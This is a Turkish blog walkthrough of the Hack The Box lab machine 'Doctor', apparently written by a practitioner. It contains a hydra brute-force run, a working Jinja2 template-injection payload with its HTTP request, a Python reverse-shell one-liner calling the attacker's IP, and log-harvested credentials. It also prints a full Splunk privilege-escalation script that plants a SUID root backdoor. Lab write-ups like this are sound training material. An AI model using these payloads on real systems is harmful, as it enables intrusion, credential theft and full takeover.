İçeriğe geç

Doctor

Tarih: 15/08/2021 | Yazar: kuday
Makine Adı Seviye OS Logo
Doctor - HTB Orta Linux

Walkthrough

nmap taraması ile başlayalım.


PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 59:4d:4e:c2:d8:cf:da:9d:a8:c8:d0:fd:99:a8:46:17 (RSA)
|   256 7f:f3:dc:fb:2d:af:cb:ff:99:34:ac:e0:f8:00:1e:47 (ECDSA)
|_  256 53:0e:96:6b:9c:e9:c1:a1:70:51:6c:2d:ce:7b:43:e8 (ED25519)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

8089'da splunk'u buldu ve internette exploit aramaya başladım. İnternette bulduğum yazılara göre bir credential ele geçirebilirsem direkt olarak root olabilirim. Bu yüzden hydra ile ilk işim basic authentication bruteforce saldırsı yapmak oldu ancak başarılı olamadım.


┌──(root💀kali)-[~/htb/Linux/Doctor]
└─# hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 8089 10.10.10.209 https-get /services
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-08-15 06:20:05
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-gets://10.10.10.209:8089/services
[STATUS] 2024.00 tries/min, 2024 tries in 00:01h, 14342375 to do in 118:07h, 16 active
[STATUS] 1931.33 tries/min, 5794 tries in 00:03h, 14338605 to do in 123:45h, 16 active
[STATUS] 1931.00 tries/min, 13517 tries in 00:07h, 14330882 to do in 123:42h, 16 active
[STATUS] 2020.67 tries/min, 30310 tries in 00:15h, 14314089 to do in 118:04h, 16 active
[STATUS] 2143.39 tries/min, 66445 tries in 00:31h, 14277954 to do in 111:02h, 16 active
[STATUS] 2182.70 tries/min, 102587 tries in 00:47h, 14241812 to do in 108:45h, 16 active
[STATUS] 2168.06 tries/min, 136588 tries in 01:03h, 14207811 to do in 109:14h, 16 active
[STATUS] 2132.14 tries/min, 168439 tries in 01:19h, 14175960 to do in 110:49h, 16 active
[STATUS] 2132.32 tries/min, 202570 tries in 01:35h, 14141829 to do in 110:33h, 16 active
[STATUS] 2099.89 tries/min, 233088 tries in 01:51h, 14111311 to do in 112:01h, 16 active
[STATUS] 2103.10 tries/min, 267094 tries in 02:07h, 14077305 to do in 111:34h, 16 active
[STATUS] 2104.71 tries/min, 300973 tries in 02:23h, 14043426 to do in 111:13h, 16 active
[STATUS] 2093.28 tries/min, 332831 tries in 02:39h, 14011568 to do in 111:34h, 16 active
[STATUS] 2100.80 tries/min, 367640 tries in 02:55h, 13976759 to do in 110:54h, 16 active
[STATUS] 2102.37 tries/min, 401553 tries in 03:11h, 13942846 to do in 110:32h, 16 active
[STATUS] 2106.81 tries/min, 436110 tries in 03:27h, 13908289 to do in 110:02h, 16 active
[STATUS] 2108.53 tries/min, 470203 tries in 03:43h, 13874196 to do in 109:41h, 16 active
[STATUS] 2102.62 tries/min, 502526 tries in 03:59h, 13841873 to do in 109:44h, 16 active
[STATUS] 2105.64 tries/min, 536937 tries in 04:15h, 13807462 to do in 109:18h, 16 active
[STATUS] 2094.81 tries/min, 567694 tries in 04:31h, 13776705 to do in 109:37h, 16 active
[STATUS] 2097.64 tries/min, 602023 tries in 04:47h, 13742376 to do in 109:12h, 16 active
[STATUS] 2102.47 tries/min, 637047 tries in 05:03h, 13707352 to do in 108:40h, 16 active
[STATUS] 2102.89 tries/min, 670821 tries in 05:19h, 13673578 to do in 108:23h, 16 active
[STATUS] 2094.88 tries/min, 701786 tries in 05:35h, 13642613 to do in 108:33h, 16 active

Bunun üzerine 80.deki web uygulamasına bakmaya başladım. İlgi çekici hiç bir şey yoktu. ancak bir domain yakaladım. nikto, dirb taralamalarında bir şey çıkmayınca hosts dosyamı güncelledim ve o şekilde deneme yaptım.


┌──(root💀kali)-[~]
└─# cat /etc/hosts                                                   
127.0.0.1       localhost
127.0.1.1       kali
10.10.10.209    doctors.htb
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

doctors.htb domaini ile ilerlediğimde karşıma farklı bir site çıktı. Sayfanın kaynak kodlarını kontrol ederken yorum satırına alınmış bir kısım gördüm.

...
 <div class="container">
          <a class="navbar-brand mr-4" href="/">Doctor Secure Messaging</a>
          <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarToggle" aria-controls="navbarToggle" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
          </button>
          <div class="collapse navbar-collapse" id="navbarToggle">
            <div class="navbar-nav mr-auto">
              <a class="nav-item nav-link" href="/home">Home</a>
              <!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
            </div>
            <!-- Navbar Right Side -->
            <div class="navbar-nav">

                <a class="nav-item nav-link" href="/post/new">New Message</a>
                <a class="nav-item nav-link" href="/account">Account</a>
...

Sayafa içerisinde bir üyelik oluşturdum ve daha sonra bir mesaj ekledim. http://doctors.htb/archive sayfasına gittiğimde eklemiş olduğum mesajların başlıkları buraya geliyordu.

    <?xml version="1.0" encoding="UTF-8" ?>
    <rss version="2.0">
    <channel>
    <title>Archive</title>
    <item><title>Başlık1</title></item>

            </channel>

Client side bir şey bu aşamada işimize yaramaz. Bunun için aklıma Server Side Template Injection geldi. https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection adresinde bu konu çok güzel açıklanıyor. Takip etmemiz gereken map aşağıdaki görselde verilmiştir.

Sırasıyla bu payloadları deneyeceğiz ve olması ya da olmaması haline göre arkadaki teknolojiyi tespit edebiliriz.

Mesaj eklerken (http://doctors.htb/post/2) ${7*7} dediğimde aşağıdaki gibi cevap aldım.

<?xml version="1.0" encoding="UTF-8" ?>
    <rss version="2.0">
    <channel>
    <title>Archive</title>
    <item><title>${7*7}</title></item>

Bunun üzerine {{7*7}} ifadesini denedim.

    <?xml version="1.0" encoding="UTF-8" ?>
    <rss version="2.0">
    <channel>
    <title>Archive</title>
    <item><title>${7*7}</title></item>

            </channel>
            <item><title>49</title></item>

            </channel>

Harika bu şekilde arkadaki teknoloji Jinja2 ya da Twig ikilisinden biri. {{7*'7'}} = 7777777 payloadını gönderdiğimde teknolojinin Jinja2 olduğunu anladım. Bunun üzerine bir web shell oluştacak payload gönderdim.

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

Yukarıdaki payloadın http isteği aşağıda verilmiştir.

POST /post/new HTTP/1.1
Host: doctors.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 557
Origin: http://doctors.htb
Connection: close
Referer: http://doctors.htb/post/new
Cookie: session=.eJwljjFuBDEIAP_iOgUGDOY-s8IYlChSIu3eVVH-npVSzjQzP-2oM6_39nier3xrx8dujyY-RXTjBkfutaSHB_UZy3SOiJydx6KYzACK3o1jZ9JWmdudFk9cAeo-qQxcRqAUbDb0MEiWIWOpKMVKWL0XS0jZLmQjhXaPvK48_2_oxrjOOp7fn_l1iztfxEMrhDDUIFzN-6DsigpuQKEbtP3-AeVCPrQ.YRlaTA.M-X2UHRFlPLyK-ZlBmqbkGy8M68
Upgrade-Insecure-Requests: 1

title=%7B%25+for+x+in+%28%29.__class__.__base__.__subclasses__%28%29+%25%7D%7B%25+if+%22warning%22+in+x.__name__+%25%7D%7B%7Bx%28%29._module.__builtins__%5B%27__import__%27%5D%28%27os%27%29.popen%28request.args.input%29.read%28%29%7D%7D%7B%25endif%25%7D%7B%25endfor%25%7D&content=%7B%25+for+x+in+%28%29.__class__.__base__.__subclasses__%28%29+%25%7D%7B%25+if+%22warning%22+in+x.__name__+%25%7D%7B%7Bx%28%29._module.__builtins__%5B%27__import__%27%5D%28%27os%27%29.popen%28request.args.input%29.read%28%29%7D%7D%7B%25endif%25%7D%7B%25endfor%25%7D&submit=Post

http://doctors.htb/archive?input=ls -al şeklinde istek attığımda aldığım cevap aşağıdaki gibiydi.


    <?xml version="1.0" encoding="UTF-8" ?>
    <rss version="2.0">
    <channel>
    <title>Archive</title>
    <item><title>total 48
drwxr-xr-x 6 web  web  4096 Sep 28  2020 .
drwxr-xr-x 4 root root 4096 Sep 19  2020 ..
lrwxrwxrwx 1 web  web     9 Jul 26  2020 .bash_history -> /dev/null
-rw-r--r-- 1 web  web   220 Jul 20  2020 .bash_logout
-rw-r--r-- 1 web  web  3771 Jul 20  2020 .bashrc
drwxr-xr-x 3 web  web  4096 Sep 22  2020 blog
-rwxrwxr-x 1 web  web   135 Jul 26  2020 blog.sh
drwxrwxr-x 5 web  web  4096 Jul 27  2020 .cache
drwxr-xr-x 4 web  web  4096 Jul 27  2020 .config
drwxrwxr-x 5 web  web  4096 Jul 26  2020 .local
-rw-r--r-- 1 web  web   807 Jul 20  2020 .profile
-rw------- 1 web  web   177 Jul 27  2020 .python_history
-rw-rw-r-- 1 web  web    66 Jul 26  2020 .selected_editor
</title></item>

            </channel>

Bunun üzerine python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.17",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' payloadını gönderdim ve reverse aldım.
(http://doctors.htb/archive?input=python3%20-c%20%27import%20socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.17%22,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(%22/bin/sh%22)%27)

┌──(root💀kali)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.17] from doctors.htb [10.10.10.209] 38894
$ id
id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
$

Bu noktadan sonra amacım aslında bir credential elde etmek. Dediğim gibi credential elde ettikten sonra Splunk ile root olma ihtimalim olabilir. Linpeas ile passwd anahtar kelimesi geçen bütün dosyalar gözden geçirebiliriz. İlk işim sunucuya linpeas yüklemek oldu ve sonrasında analiz ettim. Linpeas benim için log dosyalarında password buldu.


╔══════════╣ Finding passwords inside logs (limit 70)
10.10.14.17 - - [15/Aug/2021:20:21:57 +0200] "GET /archive?input=pwd HTTP/1.1" 200 278 "-" "curl/7.74.0"                           
:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

$ su shaun
su shaun
Password: Guitar123

shaun@doctor:/tmp$ 
shaun@doctor:~$ cat user.txt
cat user.txt
3857d6dc8b46c579792ec53887373aef

Daha sonrasında https://raw.githubusercontent.com/tevora-threat/splunk_local_privesc/master/spelunker.sh dosyasını kalime indirdim. Splunk ile local priv yapmayı deneyeceğim. Ancak içerisine baktığımda basic authentiation için default credleri kullanmış. shaun kullanıısı ile web üzerinden giriş yapmayı denediğimde başarılı oldum. Burp ile isteği yakaladım ve burdaki basic authentication base64'lerini indirdiğim exploittekiyle yer güncelledim. Aşağıda giriş yaparken kullandığım istek var.

GET /services HTTP/1.1
Host: 10.10.10.209:8089
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://10.10.10.209:8089/v10/
Upgrade-Insecure-Requests: 1
Authorization: Basic c2hhdW46R3VpdGFyMTIz

Aşağıda ise güncellediğim exloit var.

┌──(root💀kali)-[~/htb/Linux/Doctor]
└─# cat ./spelunker.sh       
echo
echo "[!] SPLUNK LOCAL PRIVESC [!]"
echo "[!] This tool assumes the creds are admin:changeme"
echo "[!] and the port is 8089"
echo

echo "[*] Creating a tmp workspace and moving there..."
mkdir -p /tmp/.tester
cd /tmp/.tester

echo
echo "[*] Creating the splunk app..."
mkdir -p /tmp/.tester/APPY/bin
mkdir -p /tmp/.tester/APPY/local
echo "[script://./bin/pay.sh]" >> /tmp/.tester/APPY/local/inputs.conf
echo "disabled = false" >> /tmp/.tester/APPY/local/inputs.conf
echo "index = default" >> /tmp/.tester/APPY/local/inputs.conf
echo "interval = 10" >> /tmp/.tester/APPY/local/inputs.conf
echo "sourcetype = test" >> /tmp/.tester/APPY/local/inputs.conf

echo
echo "[*] Creating the payload..."
# THIS CREATES A SUID SHELL BACKDOOR
# EDIT THIS IF YOU WANT TO RUN A DIFFERENT PAYLOAD

echo "mkdir -p /tmp/.tester/bin" >> /tmp/.tester/APPY/bin/pay.sh
echo "chmod 611 /tmp/.tester/bin" >> /tmp/.tester/APPY/bin/pay.sh
echo "cp /bin/sh /tmp/.tester/bin/shdoor" >> /tmp/.tester/APPY/bin/pay.sh
echo "chmod 777 /tmp/.tester/bin/shdoor" >> /tmp/.tester/APPY/bin/pay.sh
echo "chmod u+s /tmp/.tester/bin/shdoor" >> /tmp/.tester/APPY/bin/pay.sh
chmod 777 /tmp/.tester/APPY/bin/pay.sh

echo
echo "Tarballing the App and removing temp files..."
tar cvf tmpAPP.tar ./APPY
chmod 777 tmpAPP.tar
rm -rf ./APPY

# NO ERROR CHECKING YET
echo "[*] App should be created..."
echo

echo
echo "[*] Installing the malicious splunk app...."
curl -i -s -k  -X $'POST' \
             -H $'Host: 127.0.0.1:8089' -H $'Connection: close' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'User-Agent: python-requests/2.18.4' -H $'Content-Length: 60' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Authorization: Basic c2hhdW46R3VpdGFyMTIz' \
                 --data-binary $'update=True&name=%2Ftmp%2F.tester%2FtmpAPP.tar&filename=True' \
                     $'https://127.0.0.1:8089/services/apps/local/'

echo 
echo 
echo
sleep 3
echo
echo
echo
echo "[*] Removing the malicious splunk app..."
curl -i -s -k  -X $'DELETE' \
            -H $'Host: 127.0.0.1:8089' -H $'Connection: close' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'User-Agent: python-requests/2.18.4' -H $'Content-Length: 0' -H $'Authorization: Basic c2hhdW46R3VpdGFyMTIz' \
                $'https://127.0.0.1:8089/services/apps/local/APPY'

echo
echo
echo

echo "[!] If all went well run /tmp/.tester/bin/shdoor -p for a root shell"
echo "[!] Run whoami if your prompt didn't change..."
echo
echo "[!] DELETE THE .tester DIRECTORY AS ROOT WHEN YOU'RE DONE! [!]"

Bunu karşı makineye attım ve çalıştırdım.

shaun@doctor:/tmp$ wget http://10.10.14.17/spelunker.sh
wget http://10.10.14.17/spelunker.sh
--2021-08-15 22:16:26--  http://10.10.14.17/spelunker.sh
Connecting to 10.10.14.17:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2502 (2,4K) [text/x-sh]
Saving to: ‘spelunker.sh’

spelunker.sh        100%[===================>]   2,44K  --.-KB/s    in 0s      

2021-08-15 22:16:27 (141 MB/s) - ‘spelunker.sh’ saved [2502/2502]

shaun@doctor:/tmp$ chmod 777 spelunker.sh
chmod 777 spelunker.sh

shaun@doctor:/tmp$ ./spelunker.sh
./spelunker.sh

[!] SPLUNK LOCAL PRIVESC [!]
[!] This tool assumes the creds are admin:changeme
[!] and the port is 8089

[*] Creating a tmp workspace and moving there...

[*] Creating the splunk app...

[*] Creating the payload...

Tarballing the App and removing temp files...
./APPY/
./APPY/bin/
./APPY/bin/pay.sh
./APPY/local/
./APPY/local/inputs.conf
[*] App should be created...

[*] Installing the malicious splunk app....
HTTP/1.1 201 Created
Date: Sun, 15 Aug 2021 20:16:33 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Content-Type: text/xml; charset=UTF-8
X-Content-Type-Options: nosniff
Content-Length: 4342
Vary: Cookie, Authorization
Connection: Close
X-Frame-Options: SAMEORIGIN
Server: Splunkd

<?xml version="1.0" encoding="UTF-8"?>
<!--This is to override browser formatting; see server.conf[httpServer] to disable. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .-->
<?xml-stylesheet type="text/xml" href="/static/atom.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:s="http://dev.splunk.com/ns/rest" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/">
  <title>localapps</title>
  <id>https://127.0.0.1:8089/services/apps/local</id>
  <updated>2021-08-15T22:16:33+02:00</updated>
  <generator build="a1a6394cc5ae" version="8.0.5"/>
  <author>
    <name>Splunk</name>
  </author>
  <link href="/services/apps/local/_new" rel="create"/>
  <link href="/services/apps/local/_reload" rel="_reload"/>
  <opensearch:totalResults>1</opensearch:totalResults>
  <opensearch:itemsPerPage>30</opensearch:itemsPerPage>
  <opensearch:startIndex>0</opensearch:startIndex>
  <s:messages/>
  <entry>
    <title>APPY</title>
    <id>https://127.0.0.1:8089/servicesNS/nobody/system/apps/local/APPY</id>
    <updated>1970-01-01T01:00:00+01:00</updated>
    <link href="/servicesNS/nobody/system/apps/local/APPY" rel="alternate"/>
    <author>
      <name>nobody</name>
    </author>
    <link href="/servicesNS/nobody/system/apps/local/APPY" rel="list"/>
    <link href="/servicesNS/nobody/system/apps/local/APPY/_reload" rel="_reload"/>
    <link href="/servicesNS/nobody/system/apps/local/APPY" rel="edit"/>
    <link href="/servicesNS/nobody/system/apps/local/APPY" rel="remove"/>
    <link href="/servicesNS/nobody/system/apps/local/APPY/package" rel="package"/>
    <content type="text/xml">
      <s:dict>
        <s:key name="check_for_updates">1</s:key>
        <s:key name="configured">0</s:key>
        <s:key name="core">0</s:key>
        <s:key name="disabled">0</s:key>
        <s:key name="eai:acl">
          <s:dict>
            <s:key name="app">system</s:key>
            <s:key name="can_change_perms">1</s:key>
            <s:key name="can_list">1</s:key>
            <s:key name="can_share_app">1</s:key>
            <s:key name="can_share_global">1</s:key>
            <s:key name="can_share_user">0</s:key>
            <s:key name="can_write">1</s:key>
            <s:key name="modifiable">1</s:key>
            <s:key name="owner">nobody</s:key>
            <s:key name="perms">
              <s:dict>
                <s:key name="read">
                  <s:list>
                    <s:item>*</s:item>
                  </s:list>
                </s:key>
                <s:key name="write">
                  <s:list>
                    <s:item>*</s:item>
                  </s:list>
                </s:key>
              </s:dict>
            </s:key>
            <s:key name="removable">0</s:key>
            <s:key name="sharing">app</s:key>
          </s:dict>
        </s:key>
        <s:key name="install_source_checksum">96d72ec1f36a6309f295ad8f425b2e83def957e9</s:key>
        <s:key name="label">APPY</s:key>
        <s:key name="location">/opt/splunkforwarder/etc/apps/APPY</s:key>
        <s:key name="managed_by_deployment_client">0</s:key>
        <s:key name="name">APPY</s:key>
        <s:key name="show_in_nav">1</s:key>
        <s:key name="source_location">/opt/splunkforwarder/etc/apps/APPY</s:key>
        <s:key name="state_change_requires_restart">0</s:key>
        <s:key name="status">installed</s:key>
        <s:key name="visible">0</s:key>
      </s:dict>
    </content>
  </entry>
</feed>

[*] Removing the malicious splunk app...
HTTP/1.1 200 OK
Date: Sun, 15 Aug 2021 20:16:36 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Content-Type: text/xml; charset=UTF-8
X-Content-Type-Options: nosniff
Content-Length: 1797
Vary: Cookie, Authorization
Connection: Close
X-Frame-Options: SAMEORIGIN
Server: Splunkd

<?xml version="1.0" encoding="UTF-8"?>
<!--This is to override browser formatting; see server.conf[httpServer] to disable. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .-->
<?xml-stylesheet type="text/xml" href="/static/atom.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:s="http://dev.splunk.com/ns/rest" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/">
  <title>localapps</title>
  <id>https://127.0.0.1:8089/services/apps/local</id>
  <updated>2021-08-15T22:16:36+02:00</updated>
  <generator build="a1a6394cc5ae" version="8.0.5"/>
  <author>
    <name>Splunk</name>
  </author>
  <link href="/services/apps/local/_new" rel="create"/>
  <link href="/services/apps/local/_reload" rel="_reload"/>
  <opensearch:totalResults>0</opensearch:totalResults>
  <opensearch:itemsPerPage>30</opensearch:itemsPerPage>
  <opensearch:startIndex>0</opensearch:startIndex>
  <s:messages/>
</feed>

[!] If all went well run /tmp/.tester/bin/shdoor -p for a root shell
[!] Run whoami if your prompt didn't change...

[!] DELETE THE .tester DIRECTORY AS ROOT WHEN YOU'RE DONE! [!]

shaun@doctor:/tmp$ id
id
uid=1002(shaun) gid=1002(shaun) groups=1002(shaun)
$ /tmp/.tester/bin/shdoor -p
/tmp/.tester/bin/shdoor -p
# id
id
uid=1002(shaun) gid=1002(shaun) euid=0(root) groups=1002(shaun)
# cd /root
cd /root
# ls
ls
root.txt
# cat root.txt 
cat root.txt
74f6ab1181115f195f58f18e4e2ba485
Kategori:Walkthrough

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir